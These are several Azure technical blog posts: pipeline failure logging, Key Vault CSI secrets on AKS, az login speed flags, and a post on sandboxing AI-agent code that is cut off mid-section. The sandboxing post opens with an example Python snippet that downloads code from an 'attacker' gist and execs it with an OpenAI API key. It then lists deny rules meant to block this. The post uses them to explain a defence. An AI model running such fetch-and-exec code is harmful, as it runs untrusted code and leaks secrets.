Start by creating a Log Analytics workspace. This will act as the central store for all failure logs across your data platform.

In the Azure Portal:

Navigate to Azure Monitor → Log Analytics workspaces
Create a new workspace in your target subscription and region
Choose a meaningful name (for example: log-analytics-data-domain)

This workspace becomes the single place where all pipeline failures will be collected and queried.

2. Create a custom table for pipeline failures

Instead of relying on generic tables, we define a dedicated custom table to store pipeline failure events.

From the Log Analytics workspace:

Go to Tables → Create → Custom table (DCR-based)
Define a table name such as:
DataDomain_SynapsePipelineErrors_CL [it has to end with CL suffix]

At this stage, you’ll define the schema that represents your logging payload. Typical fields include:

TimeGenerated
PipelineName
PipelineRunId
ActivityName
ActivityType
Status
ErrorCode
ErrorMessage
Severity
Environment
Layer
DatasetName
PartitionDate
WorkspaceName
CorrelationId

The key here is consistency, this schema will be reused across all pipelines, so take the time to define it properly.

3. Create a Data Collection Rule (DCR)

The Data Collection Rule defines how incoming data is ingested into Log Analytics. It acts as both a schema contract and a routing mechanism.

In Azure Portal:

Go to Azure Monitor → Data Collection Rules
Create a new DCR and associate it with your Log Analytics workspace

Within the DCR:

Define a custom stream (for example: DataDomain_SynapsePipelineErrors_CL)
Map this stream to your custom table
Optionally define transformations using KQL (for example, renaming fields or enforcing types)

This step is critical because it decouples your pipelines from the storage layer. If the schema evolves later, you can adjust it here without changing pipeline logic.

4. Configure the Logs Ingestion endpoint

Once the DCR is created, Azure generates an ingestion endpoint that will be used by your pipelines.

The endpoint follows this pattern:

https://<dce>.<region>.ingest.monitor.azure.com/dataCollectionRules/<dcrId>/streams/<streamName>?api-version=2023-01-01

This endpoint is what your Synapse pipeline will call using a Web Activity.

At this point, you should also:

Enable Managed Identity authentication
Grant the Synapse workspace permission to send data to the DCR

This ensures secure ingestion without using secrets.

5.RBAC for Managed Identity

The Managed Identity used by Synapse or Microsoft Fabric must have the following Azure RBAC role:

Monitoring Metrics Publisher

This role allows the identity to send data through the Azure Monitor Logs Ingestion API.

The role should be assigned on the:

Data Collection Rule (DCR) resource

In Azure Portal:

Data Collection Rule (DCR) → Access Control (IAM) → Add Role Assignment → Monitoring Metrics Publisher → Select Synapse/Fabric Managed Identity

Without this role assignment, requests to the Logs Ingestion API will fail with authorization errors such as HTTP 403.

6. Validate the setup

Before integrating with pipelines, it’s a good idea to validate that ingestion works.

You can send a test payload (via Postman or a simple script) and then query your table in Log Analytics:

DataDomain_SynapsePipelineErrors_CL | take 10

If everything is configured correctly, you should see your test records appear.

Integrating with Synapse pipelines

Now that the ingestion layer is ready, the next step is connecting Synapse pipelines, so failures are logged automatically instead of sending manual test payloads.
The idea is simple:
whenever a pipeline activity fails, we capture the failure details, transform them into a structured payload, and send them directly to the Logs Ingestion API, this turns pipeline failures into centralized operational events.

1. Add a failure handling path

Inside your Synapse pipeline, add an On Failure dependency from the activities you want to monitor.

Typically, this includes critical activities such as:

Copy Activities
Notebook executions
Stored Procedures
Data Flows
Web Activities

Instead of allowing the pipeline to fail silently, the failure path redirects execution into a dedicated logging step , in most production environments, this is implemented as a reusable child pipeline such as:

pipeline name : Customized Logs API

This keeps logging logic centralized and avoids duplicating the same implementation across dozens of pipelines.

2. Pass failure metadata as parameters

The logging pipeline should receive operational context from the parent pipeline.

Typical parameters include:

Pipeline name
Pipeline run ID
Activity name
Activity type
Error code
Error message
Environment
Layer (Bronze/Silver/Gold)
Dataset name
Severity
Correlation ID

This metadata becomes the foundation of the structured logging payload.

The more operational context you capture here, the easier troubleshooting becomes later.

3. Construct the logging payload

Inside the logging pipeline [Customized Logs API], use a dynamic content expression to construct a JSON payload matching the Log Analytics schema.

Example payload:

concat( '[{"TimeGenerated":"', utcNow(), '","PipelineName":"POC_Test"', ',"PipelineRunId":"', pipeline().RunId, '","PipelineStatus":"Failed"', ',"ActivityName":"TestActivity"', ',"ActivityType":"Web"', ',"ActivityStatus":"Failed"', ',"ErrorCode":"TEST"', ',"ErrorMessage":"POC test"', ',"Severity":"Warning"', ',"Environment":"Test"', ',"Layer":"Bronze"', ',"ExecutionStage":"POC"', ',"DatasetName":"TestDataset"', ',"PartitionDate":"', utcNow(), '","WorkspaceName":"', pipeline().DataFactory, '","TriggerName":"Manual"', ',"TriggerTimeUtc":"', utcNow(), '","DurationMs":1000', ',"RetryCount":0', ',"Compute":"Synapse"', ',"CorrelationId":"', pipeline().RunId, '","Payload":{"source":"test","target":"loganalytics"}}]' )

The important part is schema consistency.

Every pipeline should emit the same payload structure regardless of which activity failed.

This makes downstream querying and dashboarding significantly easier.

4. Send logs using a Web Activity

After constructing the payload, use a Web Activity to send the data to the Logs Ingestion API endpoint configured earlier.

Typical configuration:

URL:

https://<data-collection-endpoint>.<region>.ingest.monitor.azure.com/dataCollectionRules/<dcr-id>/streams/<stream-name>?api-version=2023-01-01

Method
POST

Authentication
Managed Identity

Resource
https://monitor.azure.com

Headers

{ "Content-Type": "application/json" }

Body
Dynamic JSON payload generated in the previous step.

I highly recommend using Managed Identity avoids storing secrets or credentials inside Synapse pipelines and keeps authentication fully managed by Azure.

5. Validate end-to-end ingestion

Once the pipeline is connected, trigger a controlled failure and verify that the event appears in Log Analytics.

Run:

DataDomain_SynapsePipelineErrors_CL | sort by TimeGenerated desc | take 20

You should now see real pipeline failures arriving automatically from Synapse.

At this point, the framework becomes fully operational.

Failures are no longer isolated runtime events buried inside activity outputs they are centralized, queryable operational records that can be analyzed across the entire platform.

Future Steps

Now that we have a centralized logging framework in place, we can take observability one step further by building operational dashboards in Power BI or Microsoft Fabric to analyze reliability trends across the entire data platform. Instead of reacting to isolated pipeline failures, we can aggregate logs across pipelines, datasets, environments, and medallion layers to identify what is actually causing instability over time. This allows engineering teams to detect recurring error patterns, identify unstable datasets, measure platform reliability, analyze failure spikes after deployments, and understand where operational bottlenecks are concentrated. By transforming pipeline failures into structured operational telemetry, the framework evolves beyond simple logging into a true observability platform that supports proactive reliability engineering, helping teams move from reactive firefighting to data-driven operational improvements based on measurable reliability KPIs such as failure trends, MTTR, SLA compliance, severity distribution, and pipeline health scoring.

Getting Secrets Out of YAML: Implementing Azure Key Vault CSI Driver on AKS with Workload Identity

anandranjan — Mon, 08 Jun 2026 07:00:00 GMT

Why This Pattern Matters
The Problem with Secrets in YAML
What We Wanted to Achieve
Architecture Overview
How the Flow Works
Implementation Prerequisites
Step-by-Step Implementation
Understanding the YAML Components
Secret Rotation and Reloaders
Common Pitfalls and Troubleshooting
Security and Operational Benefits
Key Takeaways
Microsoft Documentation References
Final Thoughts

Why This Pattern Matters

Most Kubernetes environments start with good intentions around secret management.

Over time, however, many AKS deployments gradually evolve toward patterns like:

value: "#{SomeSecret}#"

A pipeline substitutes the value during deployment, the application works, and the pattern spreads across services.

The problem is that this quietly turns:

deployment pipelines
rendered manifests
release artifacts
CI/CD logs

into part of the secret distribution path.

Even if the secret originates from Azure Key Vault, the value itself still travels through multiple systems before reaching the pod.

That creates:

unnecessary exposure risk
difficult rotation workflows
broader operational blast radius
audit complexity

This article walks through a cleaner runtime-based model using:

Azure Key Vault CSI Driver
AKS Workload Identity
Managed Identity federation

where workloads authenticate directly to Key Vault without secret values ever appearing in YAML or pipelines.

The Problem with Secrets in YAML

The traditional pattern usually looks like this:

env: - name: APPLICATION_SECRET value: "#{ApplicationSecret}#"

At deployment time:

The pipeline retrieves the secret
The placeholder is replaced
Kubernetes receives the rendered manifest

Operationally, this means:

the pipeline temporarily possesses the secret
the rendered YAML contains the secret
logs or artifacts may accidentally retain it
secret rotation requires redeployment

This often exists because:

Key Vault secret names don't match application configuration names
teams want backward compatibility
changing application code is expensive

The Azure Key Vault CSI Driver solves this by introducing a runtime mapping layer instead of a pipeline substitution layer.

What We Wanted to Achieve

The design goals were simple:

No secret values in YAML
No secret substitution in CI/CD pipelines
Runtime-only secret retrieval
Identity-based authentication
Support for mapping Key Vault names to application config names
Minimal or zero application code changes
Secure secret rotation workflows

Architecture Overview

+----------------------+ | AKS Application | | Pod | +----------+-----------+ | v +----------------------+ | Kubernetes | | ServiceAccount | +----------+-----------+ | v +----------------------+ | AKS Workload | | Identity Webhook | +----------+-----------+ | v +----------------------+ | Federated Managed | | Identity | +----------+-----------+ | v +----------------------+ | Azure Key Vault | +----------+-----------+ | v +----------------------+ | CSI Driver Mount | | (/mnt/secrets-store) | +----------+-----------+ | v +----------------------+ | Application Reads | | Secret at Runtime | +----------------------+

How the Flow Works

When a pod starts:

The pod uses a Kubernetes ServiceAccount
AKS Workload Identity injects an OIDC token
The Secrets Store CSI Driver uses that token
Azure validates the federated identity relationship
The Managed Identity receives access to Key Vault
Secrets are retrieved at runtime
Secrets become available

This entire process happens dynamically during pod startup.

No secret values pass through:

YAML manifests
pipeline variables
Helm values
release artifacts

The pod authenticates as itself.

Implementation Prerequisites

Before implementation, ensure:

Requirement - Purpose

AKS Cluster - Runtime environment
Azure Key Vault - Centralized secret store
OIDC Enabled - Required for federation
Workload Identity Enabled - Enables identity injection
Managed Identity - Authentication mechanism
Secrets Store CSI Driver - Runtime secret retrieval

Implementation

The implementation can generally be divided into two phases:

Platform Setup - One-time AKS and Azure configuration performed by platform/infrastructure teams
Application Onboarding - Per-service configuration performed by application teams

This separation is important because most of the complexity exists only once at the platform layer. After the foundational setup is complete, onboarding additional workloads becomes significantly simpler and more repeatable.

The examples below are intended to demonstrate the overall implementation pattern and architecture flow. Exact implementation details may vary depending on:

organizational RBAC models
networking restrictions
Key Vault access configuration
GitOps/Helm workflows
cluster governance policies
AKS versions and add-on configurations

Phase 1 — Platform Setup

1. Enable Required AKS Capabilities

A typical implementation starts by enabling the AKS capabilities required for identity federation and runtime secret retrieval.

These usually include:

OIDC Issuer - Enables identity federation between AKS and Microsoft Entra ID
Workload Identity - Injects federated identity tokens into workloads
Azure Key Vault CSI Driver - Retrieves secrets securely at runtime

Example Azure CLI commands:

az aks update \ --resource-group <resource-group> \ --name <aks-cluster> \ --enable-oidc-issuer \ --enable-workload-identity

az aks enable-addons \ --addons azure-keyvault-secrets-provider \ --resource-group <resource-group> \ --name <aks-cluster>

Most organizations validate these capabilities before onboarding workloads.

2. Configure a Managed Identity

Each workload or application typically receives its own User-Assigned Managed Identity.

This follows least-privilege principles and helps reduce operational blast radius between services.

Example:

az identity create \ --name workload-identity \ --resource-group <resource-group>

The identity is then granted access to retrieve secrets from Azure Key Vault.

Common approaches include:

Azure RBAC role assignments
Azure AD group-based access
Key Vault access policies (legacy environments)

Typical required permissions include:

Get
List

for secrets stored in the vault.

3. Configure Federated Identity Trust

Workload Identity relies on federation between:

AKS
Kubernetes ServiceAccounts
Microsoft Entra ID
Managed Identities

A Federated Identity Credential establishes this trust relationship.

The implementation usually maps:

a Kubernetes namespace
a Kubernetes ServiceAccount
an AKS OIDC issuer

to a specific Managed Identity.

Example structure:

system:serviceaccount:<namespace>:<serviceaccount>

This configuration is one of the most important parts of the setup because federation mismatches are a very common source of authentication failures.

4. Prepare Kubernetes Namespaces and ServiceAccounts

Application namespaces and ServiceAccounts are typically created before workload onboarding begins.

The ServiceAccount acts as the identity boundary for the workload.

Example:

apiVersion: v1 kind: ServiceAccount metadata: name: workload-sa namespace: application-namespace annotations: azure.workload.identity/client-id: "<managed-identity-client-id>"

This annotation links the Kubernetes ServiceAccount to the Azure Managed Identity.

Phase 2 — Application Onboarding

Once the platform capabilities are available, application onboarding becomes significantly simpler.

5. Define Secret Retrieval Using SecretProviderClass

The SecretProviderClass resource defines:

which Key Vault secrets should be retrieved
how those secrets should be exposed inside Kubernetes

Example:

apiVersion: secrets-store.csi.x-k8s.io/v1 kind: SecretProviderClass metadata: name: workload-kv-secrets namespace: application-namespace spec: provider: azure parameters: usePodIdentity: "false" clientID: "<managed-identity-client-id>" keyvaultName: "<keyvault-name>" tenantId: "<tenant-id>" objects: | array: - | objectName: application-secret objectType: secret secretObjects: - secretName: workload-secret type: Opaque data: - key: APPLICATION_SECRET objectName: application-secret

A few important concepts exist here:

objects - Defines which Key Vault secrets to retrieve
secretObjects - Optionally syncs secrets into Kubernetes Secrets

This separation allows:

Key Vault secret naming
Kubernetes secret naming
application environment variable naming

to remain independent from one another.

That flexibility is one of the biggest advantages of the CSI Driver approach.

6. Update Workloads to Use Workload Identity

Application deployments are then updated to:

use the correct ServiceAccount
enable Workload Identity
mount the CSI volume
optionally consume synced Kubernetes Secrets

Typical workload changes include:

Enable Workload Identity

labels: azure.workload.identity/use: "true"

Without this label:

token injection does not occur
workload federation fails

Attach the ServiceAccount

serviceAccountName: workload-sa

Mount the CSI Volume

volumes: - name: secrets-store csi: driver: secrets-store.csi.k8s.io readOnly: true volumeAttributes: secretProviderClass: "workload-kv-secrets"

volumeMounts: - name: secrets-store mountPath: "/mnt/secrets-store" readOnly: true

Even if the application ultimately consumes secrets through environment variables, the CSI volume still needs to be mounted because the Kubernetes Secret synchronization occurs only after a successful mount.

Consume Secrets Inside the Application

Applications can consume secrets:

directly as mounted files
or through synced Kubernetes Secrets using secretKeyRef

Example:

env: - name: APPLICATION_SECRET valueFrom: secretKeyRef: name: workload-secret key: APPLICATION_SECRET

One of the biggest operational advantages here is that applications usually require little or no code change.

The application still reads:

environment variables
configuration values
mounted files

The underlying secret delivery mechanism changes — not the application contract.

7. Validate the Integration

Once deployed, teams typically validate:

pod startup success
successful CSI volume mounts
secret retrieval from Key Vault
environment variable injection
workload authentication

Common validation activities include:

inspecting mounted secret paths
checking pod logs
reviewing CSI Driver logs
confirming Key Vault access logs
validating Workload Identity token injection

Most implementation issues generally fall into one of these categories:

Federated Identity Credential mismatches
missing workload labels
Key Vault permission issues
incorrect ServiceAccount mappings
missing CSI volume mounts

Operational Recommendation

For production environments, many organizations also add:

automated secret rotation handling
restart controllers such as Stakater Reloader
readiness probes
rolling deployment strategies
monitoring and alerting around secret retrieval failures

These additions help ensure secret updates can occur safely with minimal or zero downtime.

Understanding the YAML Components

The implementation consists of three connected resources:

ServiceAccount - Identity binding
SecretProviderClass - Secret retrieval definition
Deployment - Secret consumption

Think of them as a chain:

ServiceAccount ↓ Managed Identity ↓ SecretProviderClass ↓ CSI Driver ↓ Deployment

If any naming mismatch exists, secret retrieval fails.

Consistency matters.

Secret Rotation and Reloaders

One major operational advantage is secret rotation.

Previously:

Update secret
Update pipeline variable
Redeploy application

Now:

Rotate secret in Key Vault
CSI driver refreshes mounted content
Application consumes updated value

For applications using environment variables:

pod restarts are usually required

Many teams use:

Stakater Reloader

to automatically restart workloads when secrets change.

Combined with:

multiple replicas
readiness probes
rolling deployments

this enables zero-downtime secret refresh workflows.

Common Pitfalls and Troubleshooting

Federated Credential Subject Mismatch

Most common issue.

The subject must exactly match:

system:serviceaccount:<namespace>:<serviceaccount>

Missing Workload Identity Label

This label is mandatory:

azure.workload.identity/use: "true"

Without it:

no token injection occurs

Missing CSI Volume Mount

Even if using:

secretKeyRef

the CSI volume must still be mounted.

Otherwise:

Kubernetes Secret sync never occurs

Key Vault Permission Issues

Federation success does not guarantee Key Vault authorization.

The Managed Identity still requires:

Get
List

permissions on the vault.

Environment Variables Do Not Auto-Refresh

Secrets mounted as files can refresh dynamically depending on application behavior.

Environment variables do not.

If using:

secretKeyRef

consider:

Reloader controllers
rolling restart strategies
readiness probes

to safely consume rotated secrets.

Security and Operational Benefits

After migration, several improvements become immediately visible:

No secret values in YAML
No secret values in pipelines
Runtime-only secret resolution
Per-service identity isolation
Centralized audit visibility in Azure
Easier secret rotation
Reduced operational blast radius
Cleaner DevSecOps posture

Most importantly:

The deployment pipeline stops being part of the secret distribution mechanism.

Key Takeaways

Secrets should never flow through deployment pipelines
Workload Identity removes the need for static credentials
CSI Driver enables runtime secret retrieval directly from Key Vault
SecretProviderClass allows clean secret name mapping
File-based secret consumption is more secure than environment variables
Secret rotation becomes operationally simpler and safer

Microsoft Documentation References

Official Microsoft guidance:

AKS Workload Identity https://learn.microsoft.com/azure/aks/workload-identity-overview
Azure Key Vault Provider for Secrets Store CSI Driver https://learn.microsoft.com/azure/aks/csi-secrets-store-driver
Secrets Store CSI Driver https://secrets-store-csi-driver.sigs.k8s.io/
Federated Identity Credentials https://learn.microsoft.com/entra/workload-id/workload-identity-federation

These references are extremely useful when troubleshooting federation, RBAC, or CSI mounting issues.

Final Thoughts

The Azure Key Vault CSI Driver + Workload Identity pattern fundamentally changes how secrets flow through AKS environments.

Instead of distributing secrets through:

YAML
CI/CD systems
deployment artifacts

secrets remain protected behind:

identities
runtime authorization
centralized access control

The initial setup is slightly more involved than pipeline substitution, but once the platform foundations are established, onboarding additional workloads becomes lightweight and repeatable.

This is one of the highest-leverage security improvements available for Kubernetes platforms because it removes an entire category of secret exposure risk without requiring major application rewrites.

Secrets belong to identities — not deployment manifests.

#Azure #AKS #Kubernetes #DevSecOps #CloudSecurity #KeyVault #WorkloadIdentity #PlatformEngineering

Integrating Tableau to a Azure Internal Database

sharmerika — Mon, 08 Jun 2026 04:57:55 GMT

Hi everyone, I wanted to ask if it's possible if I can connect Tableau to an internal database that I'm planning to build. Not just Tableau but Monday.com too. And yeah, I know I need to build the database first, and sort everything out first, but it's for my presentation. I would really be grateful if someone can answer this and show me a bit of how I can do that. Do I need some token from tableau or something?

Faster az login: introducing --skip-subscription-discovery and targeted --subscription

Alex-wdy — Sun, 07 Jun 2026 07:19:58 GMT

TL;DR — If you belong to many tenants, or a tenant holds hundreds or thousands of subscriptions, az login can crawl — it tries to enumerate every subscription in every tenant before it returns. Two flags now let you skip that enumeration and make login near-instant:

az login --tenant <TENANT_ID> --skip-subscription-discovery

az login --subscription <SUB_ID_OR_NAME>

az login --tenant <TENANT_ID> --subscription <SUB_ID_OR_NAME> --skip-subscription-discovery

Available in Azure CLI 2.86.0 and later. Both --skip-subscription-discovery (and its --skip-sub alias) ship in az CLI v2.86.0. Run az version to check, and az upgrade if you're on an older build.

Note: --skip-subscription-discovery requires --tenant. Because you're skipping the tenant/subscription enumeration, the CLI can't infer which tenant to sign in to, so you must name it explicitly. Running az login --skip-subscription-discovery on its own fails with usage error: '--skip-subscription-discovery' requires '--tenant'.

The problem: login enumerates every subscription in every tenant

This post is about one specific pain point: what happens when you have a large number of tenants, and tenants that each contain hundreds or thousands of subscriptions.

When you run az login, the CLI doesn't just authenticate you. After auth, it walks every tenant you can access and calls ARM to list every subscription in each one, then caches the full catalog locally. The cost of that step scales with (number of tenants) × (subscriptions per tenant) — so it's roughly invisible for a developer with one tenant and a couple of subscriptions, but it falls off a cliff at enterprise scale:

A user who is a member or guest of dozens of tenants pays a separate ARM round trip per tenant.
A single tenant with hundreds or thousands of subscriptions means one giant (often paged) enumeration just to build a list you may never look at.
Put both together — many tenants, each dense with subscriptions — and the enumeration dominates everything. The interactive sign-in is fast; the post-auth subscription discovery is what makes you wait.

In these high-scale tenant/subscription topologies, az login taking 30 seconds to several minutes is common — and almost all of that time is the discovery walk, not authentication. That is exactly the cost these flags remove.

Other situations (CI/CD pinned to one known subscription, conditional-access tenants, etc.) benefit too, but they're secondary. The flags exist first and foremost to rescue the many-tenants / many-subscriptions case.

What's new

1. --skip-subscription-discovery (alias --skip-sub)

Authenticate only. Skip the subscription enumeration entirely. No tenant fan-out, no ARM GET /subscriptions calls per tenant. This flag requires --tenant — since discovery is skipped, you must tell the CLI which tenant to authenticate against.

az login --tenant <TENANT_ID> --skip-subscription-discovery

# or the short form

az login --tenant <TENANT_ID> --skip-sub

After this, az account list will be empty until you explicitly populate it (e.g. by az login --subscription <id> later, or by running a command that targets a subscription you know).

The flag is independent of how you authenticate — interactive (the WAM account picker or browser), device code, service principal, or managed identity all work the same way. You complete your normal sign-in, just without the subscription enumeration afterward.

Best for:

Users who belong to many tenants, or tenants with hundreds-to-thousands of subscriptions — this is where the win is biggest, because you skip the enumeration that scales with (tenants) × (subscriptions per tenant). Pin the one subscription you need via --subscription or AZURE_SUBSCRIPTION_ID.
Local developers who hit az login dozens of times a day and only ever work in one subscription. (You'll still get the interactive WAM account picker — that's the auth step; only the post-auth subscription enumeration is skipped.)
Secondary: CI/CD with service principals or managed identities that already know the exact subscription, and cross-tenant guests who don't need the full catalog every login.

What you'll see: --skip-subscription-discovery does not suppress the interactive sign-in prompt — it only skips the post-auth tenant/subscription enumeration. On an interactive login (no cached or still-valid token), the Web Account Manager (WAM) account picker still appears so you can authenticate; the flag simply skips the catalog fetch after you've signed in.

The screenshot below is Windows, where the broker (WAM) drives sign-in. On Linux and macOS there's no WAM — the interactive step is a browser redirect (or a device code in headless/SSH environments) instead. The flag's behavior, and the performance win, are identical on every platform; only this sign-in UI differs.

2. Targeted --subscription <id-or-name> on az login

az login --subscription 00000000-0000-0000-0000-000000000000

az login --subscription "Contoso Production"

The CLI authenticates and sets the subscription you named as active. But note: on its own, --subscription does not skip discovery — the CLI still enumerates every tenant and every subscription you have access to, and only then selects the one you named as active. So if you have many subscriptions, this is still slow; you've just saved yourself a follow-up az account set.

To actually skip the full fetch, combine it with --skip-subscription-discovery (see below).

3. The combo

az login --tenant <TENANT_ID> --subscription <SUB_ID> --skip-subscription-discovery

You get: authenticated session + active subscription set + zero tenant fan-out. With both flags, the CLI fetches only the subscription you named and skips the global enumeration entirely — this is the only way to get both a pinned subscription and a fast login. It's the fastest path to a working CLI for a known target.

How much faster?

Real-world impact scales with how many tenants you belong to and how many subscriptions each tenant holds — the bigger that product, the more you save. Order-of-magnitude observations from the field:

Profile	Typical az login time	With --skip-subscription-discovery
1 tenant, 1–3 subs (typical dev)	~3–5 s	~2–3 s
1 tenant, hundreds–thousands of subs	20–60+ s	~2–3 s
Many tenants, each with hundreds+ subs (the headline case)	1–several minutes	~2–3 s
CI/CD with service principal, 1 known sub	5–10 s	~1 s

The savings come entirely from cutting the per-tenant ARM enumeration — and they grow the more tenants and subscriptions you have.

When not to use these flags

You genuinely don't know which subscription you need and rely on az account list / az account set after login to pick. Plain az login is still the right call.
You manage resources across many subscriptions in one session. Without discovery, az account list will be empty and tab-completion of subscriptions won't work. (Tip: run a one-time az account list --refresh later to populate.)
First-time setup on a new machine where you want to see what you have access to.

Try it now

Make sure you're on a recent az CLI:

az version

az upgrade # if needed

Then:

az login --tenant <your-tenant> --subscription <your-sub> --skip-subscription-discovery

az group list -o table

Links & references

az login reference (official docs) — full flag list including --skip-subscription-discovery / --skip-sub and --subscription: https://learn.microsoft.com/en-us/cli/azure/reference-index?view=azure-cli-latest#az-login
Sign in with Azure CLI (how-to) — https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli
Azure CLI release notes — https://learn.microsoft.com/en-us/cli/azure/release-notes-azure-cli

Feedback wanted

If this changes your day-to-day login experience — especially if you live across many tenants with hundreds or thousands of subscriptions — we'd love to hear from you. Concrete before/after timings for those high-scale topologies are gold.

Found a bug or have a feature request? File an issue on the Azure CLI repo: https://github.com/Azure/azure-cli/issues/new/choose

Govern AI Agents Using Agent Governance Toolkit and Azure Container App Sandboxes

amolravande — Fri, 05 Jun 2026 22:40:19 GMT

When you let a model generate code and you actually execute it, you are handing the model a Python REPL on whatever machine runs the agent. That sounds alarmist — right up until a planner (yours, mine, or anyone else's) produces a snippet that reads as harmless on the first pass:

# "summarize the changelog" import urllib.request, os data = urllib.request.urlopen( "https://gist.githubusercontent.com/attacker/.../raw" ).read() exec(data, {"OPENAI_API_KEY": os.environ["OPENAI_API_KEY"]})

Two lines of mostly-stdlib Python. If it runs in your application process, the model just decided it could pull arbitrary code off the internet and pass your secrets into it. Today that's a hypothetical; tomorrow it's a postmortem.

The defense splits into two questions developers can actually answer:

Where does the code run? Not in your process. A sandbox — a separate, disposable execution environment with its own CPU, memory, filesystem and network — gives you a hard boundary so a bad snippet can crash itself, not your service. Sandboxes have shipped in many flavors (containers, micro-VMs, wasm); the new one in this post is Azure Container Apps sandbox, where each agent session gets a managed, per-session container with a fail-closed egress proxy in front, scaled and operated by Azure.
What is the code allowed to do? A sandbox alone is a wide playing field — an attacker who wins a sandbox still has the whole sandbox. Policy narrows the field. A single YAML PolicyDocument says: these tools, these hosts, these CPU / memory / time budgets, no subprocess, no pip install, no substring match on OPENAI_API_KEY. The first cut is enforced on the host by AGT policy (deny rules, tool allowlist, AST scan) so denied snippets never even leave your process; the network cut is enforced inside the ACA sandbox by the egress allowlist so an outbound call to a non-allowed host fails closed at the proxy. Same document, two layers, no drift.

AGT ships a Python package — agt-sandbox — that answers both, and a recently added sandbox provider that was recently announced in Build 2026 - Azure container app sandboxes. The rest of this post walks through what's in the agt-sandbox package, the abstraction it pivots on, the new ACA provider, how it composes with AGT policy, and a full LLM-planned research agent built on top.

1. What is Azure Container Apps sandbox?

Azure Container Apps Sandboxes (public preview, June 2, 2026) are a first-class Azure resource — Microsoft.App/SandboxGroups — purpose-built for running untrusted, agent-generated code. Each sandbox runs in its own hardware-isolated microVM, boots in sub-second time from an OCI disk image, and can suspend/resume from full memory + disk snapshots for scale-to-zero economics on stateful compute. It's the same primitive that powers Cloud sandboxes in GitHub Copilot, Foundry Hosted Agents, and ACA Express.

See - https://techcommunity.microsoft.com/blog/appsonazureblog/introducing-azure-container-apps-sandboxes-secure-infrastructure-for-agentic-wor/4524131 for more info on the service

If you've used ACA Dynamic Sessions, Sandboxes are the next evolution and where new work should target.

2. What's in the agt-sandbox package

agt-sandbox (PyPI: agt-sandbox, import name: agent_sandbox) is the execution-isolation layer of AGT. It is intentionally small. Its job is to take a snippet of agent- generated code and run it somewhere that is not your application process — under policy, with a structured result.

The package contains:

SandboxProvider — the abstract base class every backend implements (next section).
Three built-in providers, each gated behind an install extra so you only pull what you need:
- DockerSandboxProvider — hardened OCI containers, with an optional auto-upgrade to gVisor or Kata when present (pip install "agt-sandbox[docker]").
- HyperLightSandboxProvider — sub-millisecond Hyperlight micro-VMs over KVM / mshv / WHP (pip install "agt-sandbox[hyperlight]").
- ACASandboxProvider — Azure Container Apps managed sandbox sessions (pip install "agt-sandbox[azure]"); the focus of this post.
Shared dataclasses — SandboxConfig, SandboxResult, SessionHandle, ExecutionHandle, plus SessionStatus / ExecutionStatus enums. Every provider returns these same types, so calling code never special-cases the backend.
Policy-projection helpers — small per-provider functions (docker_config_from_policy, aca_config_from_policy, …) that translate the AGT PolicyDocument into provider-native settings (CPU / memory caps, egress rules, env vars).

3. The SandboxProvider ABC

SandboxProvider is the contract every backend implements. The abstract surface is deliberately minimal:

class SandboxProvider(ABC): @abstractmethod def create_session(self, agent_id, policy=None, config=None) -> SessionHandle: ... @abstractmethod def execute_code(self, agent_id, session_id, code, *, context=None) -> ExecutionHandle: ... @abstractmethod def destroy_session(self, agent_id, session_id) -> None: ... @abstractmethod def is_available(self) -> bool: ...

Every method has an *_async variant that delegates to the sync implementation through asyncio.to_thread by default, so an async agent can call await provider.execute_code_async(...) without each provider having to ship its own event-loop story.

The contract features four things, and writing against the ABC means you get all of them no matter which backend is plugged in:

Feature	What it means
Per-session isolation	One (agent_id, session_id) pair maps to exactly one sandbox; concurrent agents do not share state
Policy as a first-class argument	create_session accepts a PolicyDocument; the provider projects it onto its native primitives
Host-side PolicyEvaluator gate	Every execute_code call runs the evaluator before dispatching code; denied calls never touch the backend
Structured SandboxResult	Same success / exit_code / stdout / stderr / killed / kill_reason / duration_seconds shape from all backends

Per-session isolation is the right unit of granularity because a session is also the natural unit for blast radius and identity: within one session the agent's working state survives across execute_code calls (same (agent_id, session_id) → same sandbox in the provider's cache), and when the session is destroyed the sandbox is deleted with it. Different sessions get different sandboxes — create_session always provisions a fresh one and returns a new session_id, so there is no in-process pathway for state to flow from one session to the next.

The hard isolation between two live sandboxes — that a compromised session cannot read another session's filesystem, memory, or network — is ultimately an Azure platform guarantee about inter-sandbox isolation within a sandbox group, not something AGT itself enforces. The provider is a thin lifecycle driver.

The abstraction matters in practice because the same agent code works on every backend. You write your planner against SandboxProvider and you choose Docker, Hyperlight for local sandboxes and ACA for managed cloud sandboxes — by swapping one constructor:

4. The new ACASandboxProvider

ACASandboxProvider is the most recent addition in AGT. It drives the early-access azure-containerapps-sandbox Python SDK so an agent step can run in a managed Azure-side container without any of the usual infrastructure plumbing.

Under the hood, ACASandboxProvider wires the three SandboxProvider lifecycle methods straight onto the ACA SDK. Here's what each one actually does for you:

create_session(agent_id, policy=None, config=None) — provisions a fresh ACA sandbox for the agent and applies the policy's resource caps and egress allowlist. Returns a SessionHandle.

execute_code(agent_id, session_id, code, *, context=None) — runs host-side policy checks, then executes the snippet inside the sandbox. A policy denial raises PermissionError. Returns an ExecutionHandle carrying a SandboxResult.

destroy_session(agent_id, session_id) — deletes the underlying ACA sandbox and evicts cached state. Returns None.

The lifecycle in code looks like this:

import os from agent_sandbox import ACASandboxProvider from agent_os.policies import PolicyDocument policy = PolicyDocument.from_yaml("policies/aca_research_agent.yaml") provider = ACASandboxProvider( resource_group=os.environ["AZURE_RG"], sandbox_group="agents", region=os.environ["AZURE_REGION"], disk="python-3.13", # constructor-level, not per-session ensure_group_location=os.environ["AZURE_REGION"], ) # create_session takes (agent_id, policy=..., config=...). The policy carries # the network allowlist and the CPU/memory/timeout defaults. handle = provider.create_session("research-agent-1", policy=policy) # execute_code takes (agent_id, session_id, code, *, context=...). # The timeout is read from the session config that was projected from # policy.defaults.timeout_seconds at create_session time. exec_handle = provider.execute_code( "research-agent-1", handle.session_id, "import urllib.request as u; print(u.urlopen('https://arxiv.org').status)", context={"intent": "smoke-test arxiv reachability"}, ) print(exec_handle.result.stdout) provider.destroy_session("research-agent-1", handle.session_id)

ACA Sandboxes hit the sweet spot for a production agent platform on Azure: managed (no nodes or Kubernetes to operate), regional and autoscaled, fast enough for per-session creation, integrated with VNet / managed identity / Log Analytics, and rich enough on Azure-native primitives that the AGT policy bundle can be rendered into platform-level controls automatically.

5. How ACASandboxProvider integrates with Agent governance toolkit policy

